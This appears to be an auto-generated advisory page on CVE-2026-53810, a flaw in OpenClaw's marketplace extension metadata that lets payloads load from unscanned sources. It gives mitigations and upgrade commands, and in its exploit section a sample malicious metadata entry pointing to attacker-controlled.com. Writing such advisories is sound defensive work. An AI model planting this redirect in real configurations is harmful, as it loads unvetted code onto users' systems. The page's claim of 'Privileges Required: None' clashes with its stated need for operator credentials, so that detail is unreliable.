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How CVE-2026-53810 Works
OpenClaw before version 2026.5.18 contains a critical code execution vulnerability stemming from insufficient validation of marketplace runtime extension metadata. The flaw exists in the package loading mechanism, where extension metadata—used to specify plugin loading locations and execution paths—is processed without adequate integrity or authenticity checks.
In affected versions, when a trusted operator selects a package for installation through the marketplace feature, the runtime relies on metadata to determine which payloads to load. An attacker with trusted operator access can manipulate this metadata to redirect the runtime toward unscanned package payloads hosted on unauthorized sources. The system accepts these redirected payloads without sufficient cryptographic verification or sandboxing controls, effectively bypassing the security scanning that would normally vet package contents.
This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere and maps to MITRE ATT&CK techniques for privilege escalation and execution via valid accounts. The flaw operates specifically within the marketplace runtime environment and does not alter OpenClaw’s broader trusted-operator model—authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless additional policy boundaries are crossed.
Practical exploitation requires the affected feature to be enabled and reachable; the actual impact depends on the operator’s configuration and whether lower-trust input can reach the vulnerable path. When successfully exploited, the vulnerability allows malicious code to load outside reviewed package entry points, creating backdoors that can persist undetected within the legitimate extension framework.
DailyCVE Form:
Platform: ……. OpenClaw
Version: …….. < 2026.5.18
Vulnerability :…… Arbitrary Code Execution (CWE-829)
Severity: ……. HIGH (CVSS 7.7)
date: ………. 2026-05-28 (public disclosure)
Prediction: …… 2026-05-18 (already patched)
What Undercode Say: Analytics
Vulnerability Intelligence Summary:
- CVE ID: CVE-2026-53810
- CVSS v4.0 Score: 7.7 (HIGH)
- CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- CWE: 829 – Inclusion of Functionality from Untrusted Control Sphere
- Credit: cantinagen, Ellahi (@Ellahinator)
- Affected Component: Marketplace runtime extension metadata handler
- Attack Requirements: Presence of an attack requirement (AT:P)
- Privileges Required: None (PR:N)
- User Interaction: Passive (UI:P)
Package Version Analysis:
Check current OpenClaw version openclaw --version Vulnerable versions (before 2026.5.18) npm list openclaw or check package.json Fixed version Version 2026.5.18 and later are unaffected
Security Advisory Reference:
- GitHub Security Advisory: GHSA-v6r2-jh58-xx6w
- NVD Published: 2026-06-11
How Exploit: CVE-2026-53810
Exploitation Prerequisites:
1. Trusted operator access to the OpenClaw Gateway
2. Affected marketplace feature enabled and reachable
3. Ability to modify extension metadata entries
Attack Vector:
The attacker, possessing legitimate operator credentials, crafts malicious extension metadata that redirects the runtime loading process:
1. Metadata Manipulation: The attacker modifies extension metadata fields that specify plugin loading locations and execution paths
2. Redirect Payload: The metadata points the runtime toward unscanned package payloads hosted on attacker-controlled infrastructure
3. Bypass Scanning: The system loads these payloads without proper validation or cryptographic verification
4. Code Execution: The unscanned payload executes within the trusted extension framework context
Technical Example:
Malicious metadata entry (conceptual)
{
"extension": "malicious-plugin",
"load_path": "https://attacker-controlled.com/unscanned-payload",
"entry_point": "plugin_main.js"
}
Legitimate expected metadata (baseline)
{
"extension": "trusted-plugin",
"load_path": "https://marketplace.openclaw.com/verified/plugin",
"entry_point": "index.js"
}
The vulnerability exploits the trust relationship between the marketplace runtime and extension metadata files, where inadequate validation fails to verify the integrity and authenticity of referenced package payloads.
Protection: From This CVE
Immediate Mitigations (Before Patching):
- Disable Affected Feature: Turn off the marketplace runtime extension feature when not explicitly needed
- Plugin Allowlisting: Install only trusted plugins and maintain explicit plugin allowlists
- Narrow Allowlists: Keep channel and tool allowlists narrow to reduce attack surface
- Gateway Isolation: Avoid sharing one Gateway between mutually untrusted users
Permanent Fix:
- Upgrade to OpenClaw version 2026.5.18 or later
Verification Commands:
Upgrade to patched version npm install [email protected] Verify upgrade openclaw --version Should output: 2026.5.18 or higher Audit for vulnerable metadata files find /path/to/openclaw/extensions -name ".metadata.json" -exec grep -l "load_path" {} \;
Defense-in-Depth Recommendations:
- Implement cryptographic signature verification for all extension packages
- Enforce strict access controls and privilege separation for operator access
- Deploy runtime sandboxing and code integrity checking mechanisms
- Conduct regular security audits and automated scanning of extension packages
- Enhance network monitoring to identify suspicious loading patterns
Impact: CVE-2026-53810
Technical Impact:
- Confidentiality Impact: HIGH – Sensitive operational data can be exfiltrated
- Integrity Impact: HIGH – Malicious code can modify system state and data
- Availability Impact: HIGH – System compromise can lead to service disruption
- Attack Vector: NETWORK – Remotely exploitable
Operational Impact:
When successfully exploited, this vulnerability enables:
- Complete System Compromise: Attackers can achieve full control over the affected OpenClaw instance
- Backdoor Installation: Malicious plugins can create persistent, undetected backdoors within the marketplace environment
- Data Exfiltration: Sensitive operational data and credentials can be stolen
- Unauthorized Access: Attackers can gain access to systems and data beyond intended privileges
- Long-term Persistence: Malicious code operates within the legitimate extension framework, remaining undetected for extended periods
Business Impact:
- Organizations relying on OpenClaw for marketplace operations face significant risk
- The vulnerability is particularly dangerous in environments where privileged access is widely distributed
- Exploitation requires only trusted operator credentials, making insider threats especially concerning
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Sources:
Reported By: github.com
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